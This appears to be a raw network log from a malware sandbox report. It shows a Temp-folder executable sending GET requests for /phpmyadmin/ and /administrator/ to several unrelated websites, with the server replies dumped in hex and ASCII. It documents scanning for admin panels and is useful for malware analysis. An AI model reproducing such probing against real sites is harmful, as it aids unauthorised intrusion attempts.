%2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.4
2023-12-20 02:13:25 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	55444	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	331	OUT	GET /phpmyadmin/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_fhLLCybHKTh1AfztwlM8DPNCpKQG19GA1JOBvDv/ffS1OHiyQ2crx1dGVJ5I403IYrRNxd2B/e3kZ3RJqi8DAw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	55287	77.72.0.94	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	179	OUT	GET /administrator/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:24 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:25 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:25 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	55581	66.96.160.139	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	262	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Expires: Wed, 20 Dec 2023 02:13:31 GMT Age: 3
2023-12-20 02:13:24 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	55448	23.227.38.32	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	176	OUT	GET /phpmyadmin HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	1354	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:24 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:24 GMT; SameSite=Lax Set-Cookie: _shopify_y=6fd3a9a4-a967-40c4-8db3-ba1f7cd8ddb1; Expires=Thu, 19-Dec-24 02:13:24 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=e3287447-fb7f-462f-a6fb-97477bc86c54; Expires=Wed, 20-Dec-23 02:43:24 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en powered-by: Shopify
2023-12-20 02:13:24 UTC	920	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 31 2c 20 64 62 3b 64 75 72 3d 34 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 66 37 62 66 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 62 35 33 38 64 63 30 36 2d 35 30 34 32 2d 34 38 35 35 2d 61 30 33 30 2d 62 64 66 61 65 64 61 37 32 61 31 31 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=11, db;dur=4, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="f7bf", requestID;desc="b538dc06-5042-4855-a030-bdfaeda72a11"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 37 61 35 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 7a57<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 66 35 30 35 62 64 61 63 30 34 33 5f 31 32 30 30 78 31 32 30 30 2e 70 6e 67 3f 76 3d 31 37 30 30 34 32 33 38 36 36 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6f 6b 69 65 73 2c 20 63 61 6b 65 73 2c 20 70 61 73 74 72 69 65 73 20 61 72 65 20 61 6c 6c 20 73 79 6e 6f 6e 79 6d 6f 75 73 20 77 69 74 68 20 41 72 74 75 73 6f 20 50 61 73 74 72 Data Ascii: f505bdac043_1200x1200.png?v=1700423866"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:title" content="404 Not Found"><meta name="twitter:description" content="Cookies, cakes, pastries are all synonymous with Artuso Pastr
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 6d 50 72 65 76 3a 20 22 50 72 65 76 69 6f 75 73 20 28 4c 65 66 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 7a 6f 6f 6d 4e 65 78 74 3a 20 22 4e 65 78 74 20 28 52 69 67 68 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 6d 6f 6e 65 79 46 6f 72 6d 61 74 3a 20 22 24 7b 7b 61 6d 6f 75 6e 74 7d 7d 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 45 72 72 6f 72 3a 20 22 45 72 72 6f 72 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 4e 6f 52 65 73 75 6c 74 73 3a 20 22 4e 6f 20 72 65 73 75 6c 74 73 20 66 6f 72 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 51 75 65 72 79 4c 69 6d 69 74 3a 20 22 59 6f 75 20 68 61 76 65 20 Data Ascii: mPrev: "Previous (Left arrow key)", zoomNext: "Next (Right arrow key)", moneyFormat: "${{amount}}", addressError: "Error looking up that address", addressNoResults: "No results for that address", addressQueryLimit: "You have
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f 72 5f 68 65 61 64 65 72 2e 73 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 32 6c 71 57 52 6e 49 5f 72 7a 72 52 6d 72 43 32 4c 55 48 30 30 49 68 6b 35 30 56 70 67 34 51 6f 46 52 32 64 47 32 4b 43 71 63 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 6e 61 6d 65 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 31 35 38 34 35 34 34 2f 64 69 67 69 74 61 6c 5f 77 61 6c 6c 65 Data Ascii: ndow.performance.mark('shopify.content_for_header.start');</script><meta name="google-site-verification" content="_2lqWRnI_rzrRmrC2LUH00Ihk50Vpg4QoFR2dG2KCqc"><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/1584544/digital_walle
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 5c 2f 5c 2f 73 68 6f 70 69 66 79 5c 2f 53 68 6f 70 5c 2f 31 35 38 34 35 34 34 22 2c 22 6d 65 72 63 68 61 6e 74 4e 61 6d 65 22 3a 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 2c 22 72 65 71 75 69 72 65 64 42 69 6c 6c 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 72 65 71 75 69 72 65 64 53 68 69 70 70 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 64 69 73 63 6f 76 Data Ascii: \/\/shopify\/Shop\/1584544","merchantName":"Artuso Pastry","requiredBillingContactFields":["postalAddress","email"],"requiredShippingContactFields":["postalAddress","email"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","discov
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 64 6c 65 22 3a 6e 75 6c 6c 7d 3b 0a 53 68 6f 70 69 66 79 2e 63 64 6e 48 6f 73 74 20 3d 20 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 63 64 6e 22 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 3d 20 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 7c 7c 20 7b 7d 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 2e 72 6f 6f 74 20 3d 20 22 2f 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 28 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 29 2e 6d 6f 64 75 6c 65 73 3d 21 30 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 Data Ascii: dle":null};Shopify.cdnHost = "artusopastry.com/cdn";Shopify.routes = Shopify.routes \|\| {};Shopify.routes.root = "/";</script><script type="module">!function(o){(o.Shopify=o.Shopify\|\|{}).modules=!0}(window);</script><script>!function(o){function n(){v
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 2c 22 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 5f 65 31 31 30 64 32 61 61 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 73 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d Data Ascii: ,"shop-pay-payment-request":["modules/client.shop-pay-payment-request_e110d2aa.en.esm.js","modules/chunk.common_aa18f3d8.esm.js","modules/chunk.shop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.comm
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 6e 61 67 65 72 2e 6e 65 74 5c 2f 75 65 74 5c 2f 74 72 61 63 6b 69 6e 67 5f 73 63 72 69 70 74 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 75 30 30 32 36 73 70 2d 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3d 63 48 56 69 62 47 6c 6a 4c 43 42 74 59 58 67 74 59 57 64 6c 50 54 6b 77 4d 41 22 5d 3b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 75 72 6c 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3b 0a 20 20 20 20 20 20 73 2e 61 73 79 6e 63 Data Ascii: nager.net\/uet\/tracking_script?shop=artusopastry.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA"]; for (var i = 0; i < urls.length; i++) { var s = document.createElement('script'); s.type = 'text/javascript'; s.async
2023-12-20 02:13:24 UTC	1369	IN	Data Raw: 5f 63 75 73 74 6f 6d 65 72 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 63 6f 6e 74 61 63 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 22 5d 27 5d 2e 6a 6f 69 6e 28 22 2c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 65 3d 65 2e 74 61 72 67 65 74 3b 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 21 3d 28 65 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 22 46 4f 52 4d 22 21 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 29 72 65 74 75 72 6e 20 65 28 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2c 6e 29 3b 66 6f 72 Data Ascii: _customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]'].join(",");function n(e){e=e.target;null==e\|\|null!=(e=function e(t,n){if(null==t.parentElement)return null;if("FORM"!=t.parentElement.tagName)return e(t.parentElement,n);for

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	55447	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	322	OUT	GET /phpmyadmin/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_CWbTgyeFM62xUROj9jWU4cCIptftpmW3ftOHZntpcQ12BfcRivNUrWYRa8bHQRCDYYurjtqn7hAhHrZUI6aGrg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
